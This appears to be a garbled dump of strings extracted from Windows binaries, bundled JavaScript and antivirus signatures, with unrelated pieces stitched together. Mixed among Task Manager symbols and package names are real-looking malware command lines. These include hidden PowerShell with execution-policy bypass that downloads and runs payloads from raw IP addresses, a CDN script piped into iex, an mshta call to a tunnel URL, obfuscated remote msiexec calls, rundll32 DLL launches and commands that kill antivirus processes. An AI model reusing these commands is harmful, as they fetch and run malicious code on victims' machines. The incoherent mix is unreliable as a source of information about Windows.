.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_7>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_6>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_7>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_7>@?7??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_5>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_5>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AV<lambda_6>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_6>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AV<lambda_4>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_4>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogClosedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_5>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogButtonClickEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_4>@?6??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UContentDialog@Controls@Xaml@UI@Windows@winrt@@UContentDialogOpenedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_3>@?5??Connect@?$DialogsPageT@UDialogsPage@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@4@UEAAXHAEBUIInspectable@234@@Z@@impl@winrt@@
MicrosoftWindowsDefenderClient
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
c:\windows\sv
c:\windows\
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
c:\windows\system32\
get_FreeWindowSpace
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
xsleep-s4;cmd/cc:\windows\syswow64\rundll32.exe'c:\users\public\documents\ssd.dll',anystring;
powershell.exe-windowstylehidden"function
c:\windows\system32\wbem\wmic.exeproceaosscallcreate'mshta@"c:\programdata\fnsfunsfgrgnkjfsgnd@@.@@rtf@@'
- Code:  CORSVCC00000772- Call:  CORSVCC00000754- PID:  00004860- TID:  00004904- CMD:  C:\WINDOWS\system32\vssvc.exe   - User: Name: NT AUTHORITY\SYSTEM, SID:S-1-5-18 
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
"microsoft\windows
\windowssearch'-name'$phantom-frzzf'-
!#SCPT:PSWindowStyleH
8Upowershell-windowstylehidden
>c:\windows\
get-windowsfeature
xMozilla/4.0 (compatible; MSIE 8.0; Win32)wsktray.exeWindows\CurrentVersion\runom//km//news//index.htmp://pr!#HSTR:Trojan:MSIL/AgentTesla.AMMQ361!MTB
Windows-Wininit
Microsoft-Windows-Winlogon
Microsoft-Windows-WLAN-AutoConfig
Microsoft-Windows-WMPNSS-Service
Microsoft-Windows-ZTDNS
Microsoft-Windows-ZTHELPER
Windows Script Host
-windowssecurityBIOS, 
"%windir%\system32\"/y
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
--user-data-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
OS=Windows_NT
internal\sdk\inc\cppwinrt\winrt\Windows.System.h
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.h
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Controls.Primitives.h
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Controls.h
internal\sdk\inc\cppwinrt\winrt\Windows.Foundation.h
V%windir%\system32\
WinRegGetSZInt: A Windows registry operation failed: Failed to open key. key path: SOFTWARE\VMware, Inc.\NeedReboot, value name: Components
WinRegGetSZInt: A Windows registry operation failed: Failed to open key. key path: SOFTWARE\VMware, Inc.\NeedReboot, value name: Components
sts.windows.net
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
","(",r.count,r.showPlusIconInHeader?"+":"",")"),r.count>0&&n.config.newGroupHeaderStyle1&&React.createElement("span",{className:"groupTitleCount"},r.count,r.showPlusIconInHeader?"+":"")),u&&n.config.newGroupHeaderStyle1&&!s&&React.createElement("div",{className:"groupTitleSeeMoreAndChevron"},React.createElement("span",{className:"groupTitleSeeMore"},n.Host.getLocString("ArticleCarouselSeeMore")),React.createElement(n.View.Icon,{additionalCssClass:"groupTitleChevron",icon:{content:"&#xE76C",type:2}})),s&&React.createElement("span",{id:"imageGridGroupHeader",className:"imageGridGroupHeader"},n.Host.getLocString("ImageGridGroupHeader")),n.config.wsbWithCopilotQF&&r.click&&(r.type==n.GroupType.Photos||r.type==n.GroupType.Documents)&&React.createElement("span",{className:"groupTitleSeeMore",onClick:()=>n.Host.launchSearchInFileExplorer()},n.Host.getLocString("ArticleCarouselSeeMore")),r.popover&&React.createElement(t.InformationBubble,{subItem:r.popover.subItem,onMouseEnter:r.popover.onMouseEnter}),e&&React.createElement(f,{parent:r,clickHandler:o}))},f=n=>{let{parent:i,clickHandler:r}=n;return React.createElement("a",{className:t.classNames("groupTitle secondaryText selectable focusable",{sa_hv:i.selected&&!i.selectedStyleSuspended}),onClick:n=>r(i,n.nativeEvent),"data-h":i.instItem&&i.instItem.getHValue(),"data-clicks":"true",title:i.tooltip,"aria-selected":i.selected?"true":"false","aria-label":i.secondaryIcon?i.secondaryText:"","data-partnertag":t.whenTestHooks("AutoSuggest.GroupHeaderLink")},!i.secondaryIcon?i.secondaryText:React.createElement(t.Icon,{icon:i.secondaryIcon}))},e=r=>{var o,s;const{suggestions:u,rootProperties:f}=r,h={isFirst:!0},e=n.isImageGridEnabledForItem((o=u[0])===null||o===void 0?void 0:o.type),c=n.shouldShowBingImageSearch((s=u[0])===null||s===void 0?void 0:s.type);return n.RuntimeConfig.QfMode==12?React.createElement("div",Object.assign({className:t.classNames("suggsList",{imageGridList:e||c})},e?{}:{"aria-labelledby":f.group.id,role:"group"}),u.map((n,t)=>!n.suppressed&&React.createElement(i,{key:n.reactKey,suggestion:n,rootProperties:f,renderingState:h,index:t}))):React.createElement("ul",Object.assign({className:t.classNames("suggsList",{imageGridList:e||c})},e?{}:{"aria-labelledby":f.group.id,role:"list"}),u.map((n,t)=>!n.suppressed&&React.createElement(i,{key:n.reactKey,suggestion:n,rootProperties:f,renderingState:h,index:t})))},i=i=>{var o;const{suggestion:u,rootProperties:r,renderingState:e,index:s}=i;let f;if(n.RuntimeConfig.QfMode==12)return e.isFirst=!1,React.createElement(t.WindowsSuggestionComposer,{suggestion:u,contextMenuHandler:r.contextMenuHandler,clickHandler:r.clickHandler,notifyIconPending:r.notifyIconPending,notifyIconReadyOrFailed:r.notifyIconReadyOrFailed,where:r.where});switch(u.template){case 0:f=React.createElement(t.WindowsSuggestionSingleLine,{isFirst:e.isFirst,suggestion:u,contextMenuHandler:r.contextMenuHandler,clickHandler:r.clickHandler,openPreviewPaneButton:r.openPreviewPaneButton,isSearchHome:r.isSearchHome,webSuggestionAnnotation:r.webSuggestionAnnotation,notifyIconPending:r.notifyIconPendi
C:\Windows\Media\mppr.exeC
windows\mocat
windows\\MoCat.pdb
er is gekorrupteer of ongeldig. Copilot kan nie jou instellings herwin nie.Copilot laat jou weet as jou wagwoorde ooit in gevaar gestel wordCopilotVir sekuriteit vereis Microsoft Copilot dat jy met jou toestelwagwoord aanmeld.Microsoft Copilot probeer tans om betalingskaartbesonderhede te wys. Voer jou Windows-wagwoord in om dit toe te laat.Microsoft Copilot probeer tans om wagwoorde te wys. Voer jo
pwindows
5shell-epbypass-noprofile-windowstylehidden-encaqb3ahiaiaatahuacwblag
c:\windows\system32\windowspower}
getSelectedWindowsAccount
-agent","windowsinstallery
wow64_microsoft-windows-n..services-deployment_31bf3856ad364e35_none_e5badc993b7d4b3e
wow64_microsoft-windows-n..setup-compatibility_31bf3856ad364e35_none_3b09640ba03681c5
wow64_microsoft-windows-n..sion-netprovisionsp_31bf3856ad364e35_none_15d426c616878525
wow64_microsoft-windows-n..tcapture-powershell_31bf3856ad364e35_none_1237fe4e7b7b1568
wow64_microsoft-windows-n..tformkeystorage-dll_31bf3856ad364e35_none_b52bea27f0d49924
wow64_microsoft-windows-n..tion_service_iasnap_31bf3856ad364e35_none_447faf914f7718b3
wow64_microsoft-windows-n..tion_service_iassam_31bf3856ad364e35_none_4449e44d4f9f5785
wow64_microsoft-windows-n..tion_service_iassdo_31bf3856ad364e35_none_444cb79b4f9cd6cc
wow64_microsoft-windows-n..ty-assistant-client_31bf3856ad364e35_none_6fe53689de27a0ca
windows_d
windows.hlp
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-OneCore-EnterpriseNetworking-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Kernel-Package-DebuggerTransport-Network-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-StepsRecorder-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-TerminalServices-Publishing-WMIProvider-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|amd64~~10.0.9321.3.cat|
d1^Microsoft.OutlookforWindows
s/system32/drivers/etc/hostsecho
c:\windows\system32\w
C:\WINDOWS\system32\cmd.exe /c pauseC
jwindows\currentversion\run
-windowstyle
Software\WebdialerWebDialer -  Reg.N:Software\Microsoft\Windows\CurrentVersion\Uninstall\Webdialer - http://www.redirserver.com/update4.cfm?tid=&cn_id=!#SLF:Trojan:Win32/Shmusho.C!dha
c:\windows\system32\mset\
c:\windows\system32\mset\
c:\windows\system32\mset\
c:\windows\system32\
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\resource.h
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
%Microsoft Windows Production PCA 2011
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
Windows.CBSPreview_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy<
]&n.Host.isDSBEnabledByClient()}function ku(){const t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return t!=1||du()}function du(){return n.AccessTokenManager.getWindowsAccountType()==1&&(f()||gu())}function gu(){return n.AccessTokenManager.getWindowsAccountType()==1&&!n.Host.isFirstPartySearchDisabled()&&(!f()&&(n.config.msbDsbEnableCustomerDsbWhenMsbDisabled||(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isOffWorkHourDisabledAad())||(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInDiscoverMode()))||f()&&(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode()))}function f(){const t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();return t===1&&(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isEnabled())}function vl(){return n.config.useCobaltCSS&&n.config.msbDsbGleamWin11Rotation?v():nf()}function nf(){return!n.config.useCobaltCSS&&SearchAppWrapper.CortanaApp.entryPoint=="WNSDSB"||n.config.useCobaltCSS&&v()}function yl(){return!n.isBingEnabled()||(n.Host===null||n.Host===void 0?void 0:n.Host.isFirstPartySearchDisabled())}function v(){return SearchAppWrapper.CortanaApp.entryPoint==="WNSTBD"||SearchAppWrapper.CortanaApp.entryPoint==="WNSGBC"||SearchAppWrapper.CortanaApp.entryPoint==="WNSGBM"||SearchAppWrapper.CortanaApp.entryPoint==="WNSGBK"}function tf(){const t=n.AccessTokenManager===null||n.AccessTokenManager===void 0?void 0:n.AccessTokenManager.getWindowsAccountType();let i=n.config.enableWin11SSH&&t!==1&&n.isSearchPointsOfFlexibilityEnabled()&&!n.Host.getPofLaunchUrlExist()&&!v();return(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.showDSBAlways)||n.config.undocked&&!i||SearchAppWrapper.CortanaApp.entryPoint=="WNSDSB"||SearchAppWrapper.CortanaApp.entryPoint=="WNSGLY"||SearchAppWrapper.CortanaApp.entryPoint=="WNSPBS"||SearchAppWrapper.CortanaApp.entryPoint=="WNSSTB"||SearchAppWrapper.CortanaApp.entryPoint=="WNSPTP"||SearchAppWrapper.CortanaApp.entryPoint=="WNSKBS"||n.config.enableDSBSearchBox&&SearchAppWrapper.CortanaApp.entryPoint=="WNSBOX"&&!f()||af()&&SearchAppWrapper.CortanaApp.entryPoint=="WNSBOX"&&!f()||SearchAppWrapper.CortanaApp.entryPoint=="WBQRPL"}function o(t){return t?t.isSearchHomeZI&&t.scope==n.Scope.All:n.RuntimeConfig.SearchHomeAvailable==1}function vi(n){return d(n)}function yi(n){return d(n)}function rf(t){if(n.config.enableFileHist){const i=n.AccessTokenManager.getWindowsAccountType();return i===1&&o(t)}return(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isEnterpriseScopeEnabled())&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isEduScopeApplicable())&&(d(t)||n.config.msbWorkSearchMruInShDsbEnabled&&o(t))}function uf(t){return n.config.msbWorkScopeZiPageMruEnabled&&d(t)}function pl(t){return ff(t)&&n.config.curatedSuggestionInWorkScopeEnabled&&(uf(t)||rf(t))}function d(t,i){return(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeZiPageContentEnabled())&&((t===null||t===void 0?void 0:t.isWorkScopeZI)||i)&&n.config.msbDsbEnabled}function wl(t){return n.config.msbWorkScopeFreZiPageContentEnabled&&(yi(t)||vi(t))}function bl(t){return n.config.msbDsbGleamToWorkScopeEnabled&&(t||na())&&!pi()}function pi(){return n.config.msbDsbNoGleamRedirect||(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isOffWorkHourDisabledAad())||(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode())||(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInDiscoverMode())}function kl(n){return n&&pi()}function dl(){return(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())&&!(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isEduTenant())}function gl(t){return!n.config.msbDsbNoGleamRedirect&&n.config.msbDsbGleamRotation&&(t||vl())&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())&&!(n.msbHost===null||n.msbHost
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Windows
Windows
HttpSendRequestA\dvp.log\system32\drivers\etc\hostsVolk, ein REICH, ein Fuhrer !!!dvpd.DLL
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windowserrorreporting-l1-1-0.dll
api-ms-win-core-windowserrorreporting-l1-1-3.dll
GetLargestConsoleWindowSize
api-ms-win-core-windowserrorreporting-l1-1-1.dll
api-ms-win-core-windowserrorreporting-l1-1-2.dll
GetWindowsDirectoryA
GetWindowsDirectoryW
TermsrvGetWindowsDirectoryA
TermsrvGetWindowsDirectoryW
SetConsoleMaximumWindowSize
GetWindowsDirectoryA
GetWindowsDirectoryW
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryW
GetLargestConsoleWindowSize
TermsrvGetWindowsDirectoryA
TermsrvGetWindowsDirectoryW
Microsoft.Windows.Base.Win32.Job
Microsoft.Windows.NTVDM
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCompareStringOrdinal
WindowsCreateStringReference
WindowsCreateString
Microsoft.Windows.Security.Capabilities
Microsoft.Windows.UnexpectedCodePath
Microsoft.Windows.Kernel.LibLoader
Microsoft.Windows.Kernel.VsmEnclaveLoader
Microsoft.Windows.CastGuard.AuditMode
tSystem.Windows.Forms.Button, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
sSystem.Windows.Forms.Label, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
Windows
WindowsIdentity
System.Windows.Forms.Layout
EnumChildWindows
EnumWindows
radCredentialsWindows
c:\windows\system32\windowspowershell\v1.0\powershell.exe-c"explorer'\\89.23.96.203@80\333\'";start-sleep-seconds1;stop-process-nameexplorer;\\89.23.96.203@80\333\
cmd.exeechipa2/dnvc/v/rsta^r^t^m^s^i^ex^e^c-^q^uiet-^f^v"http://2i.wf:8080/btaacocpokck2apxvcp/1gimb2o/!computername!"^j^z^i=^u^mr^v^s^x!%systemroot%\system32\shell32.dll
hAlfzt5po:i+00/c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.execheng/q/rcmd<refm.tifshell32.dll%wn]nd.q1spsxfl8c&mm.s-1-5-21-2524789647-2168982453-228270261-1235
c:\windows\system32\windowspowershell\v1.0-windowstylehiddeninvoke-webrequesthttp://194.180.48.211/summer/rebecca.vbs-outfile%temp%\prov.vbs;start-process%temp%\prov.vbs
\windows\system32\forfiles.exe/pc:\windows\system32/mnotepad.exe/c"cmd/cpow^ers^hell/w01c^u^rlhtt^p://116.202.12.69/98456489.e^xe-oc:\users\public\89498745675469865.exe;
Pbc:\windows\system32\cmd.exememosite-ho(#1)z/q/rst^art^ms^i^exec/^qu^ie^t-f^v"http://2t.pm:8080/bcbe54e7gg3xk7v/jcewf1v91dy63/%computername%"a^gtqnrg=^x^uw^q^qshell32.dll
get_strMyCurrentWindowsCreds
SetWindowSize
IWindowsFormsEditorService
<PreviousWindowState>k__BackingField
EnumWindows_Renamed
EnumWindowsProc
("c:\\windows\\diagnostics\\index\\windowsupdatediagnostic.xml");var
	Vc:\windows\system32\windowspowershell\v1.0\powershell.exe"start-process-windowstylehiddenpowershell.exe-verbrunas-argumentlist'iwr-urihttp
powershell-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('
c:\windows\system32\cmd.exe/cstart/minpowershell.exe-executionpolicybypass-command"&{invoke-restmethod-uri'bangla.b-cdn.net/g1.ps1'|iex}"
Microsoft.Windows.Security.WsiEnvironmentAccountManager
Microsoft.Windows.Audio.KernelStreamingEndpoint
rappdata\microsoft\windows\startmenu\programs\startup
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
@c:\windows\system32\cmd.exe..\windows\system32\cmd.exe/
/yschannel.dllc:\programdata&&start/b/minc:\windows\system32\rundll32.exec:\programdata\schannel.dll,suspendchannel"%systemroot%\system32\imageres.dll
<c:\windows\syswow64\cmd.exe..\windows\syswow64\cmd.exe/Direct_25a
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryW
GetWindowsAccountDomainSid
GetWindowsDirectoryA
GetWindowsDirectoryW
GetLargestConsoleWindowSize
TermsrvGetWindowsDirectoryA
TermsrvGetWindowsDirectoryW
{uc:\windows\system32\mshta.exehttps://skating-suggested-break-queries.trycloudflare.com/odd/
mutrej6kbf28ifwk6/ootww/!computername!"-q%windir%\system32\imageres.dll
I/c tasklist /fi "imagename eq MsMpEng.exe" | find /c "PID" && Echo Windows Defender/
\system32\forfiles
s\system32
\dnf\bieshawo.exe\system32\wahaha.ime
% >nulcopy %0 %windir%\system32\cmd.bat%s% /im av* /f4
C:\WINDOWS\SYSTEM32\drivers\
`""-windowstylehidden
c:\windows\system32\drivers\
c:\windows\
c:\windows\
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\
C:\WINDOWS\SYSTEM32\ms
ComSpec=C:\WINDOWS\system32\cmd.exe
9se\data\bookmarks.dat\currentversion\winlogon\notify\cevennet\
.?AU?$delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_262_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AU?$delegate@U?$VectorChangedEventHandler@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_263_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@UDialogCheckboxViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
.?AU?$implements_delegate@U?$VectorChangedEventHandler@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@V<lambda_262_>@?0???$?0UDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@winrt@@P80123@EAAXAEBU?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@AEBUIVectorChangedEventArgs@5673@@Z@12345@QEAA@PEAUDialogsPage_obj1_BindingsTracking@implementation@TaskManagerApp@5@P87895@EAAXAEBU?$IObservableVector@UWaitChainViewModel@TaskManagerApp@winrt@@@2345@AEBUIVectorChangedEventArgs@2345@@Z@Z@@impl@winrt@@
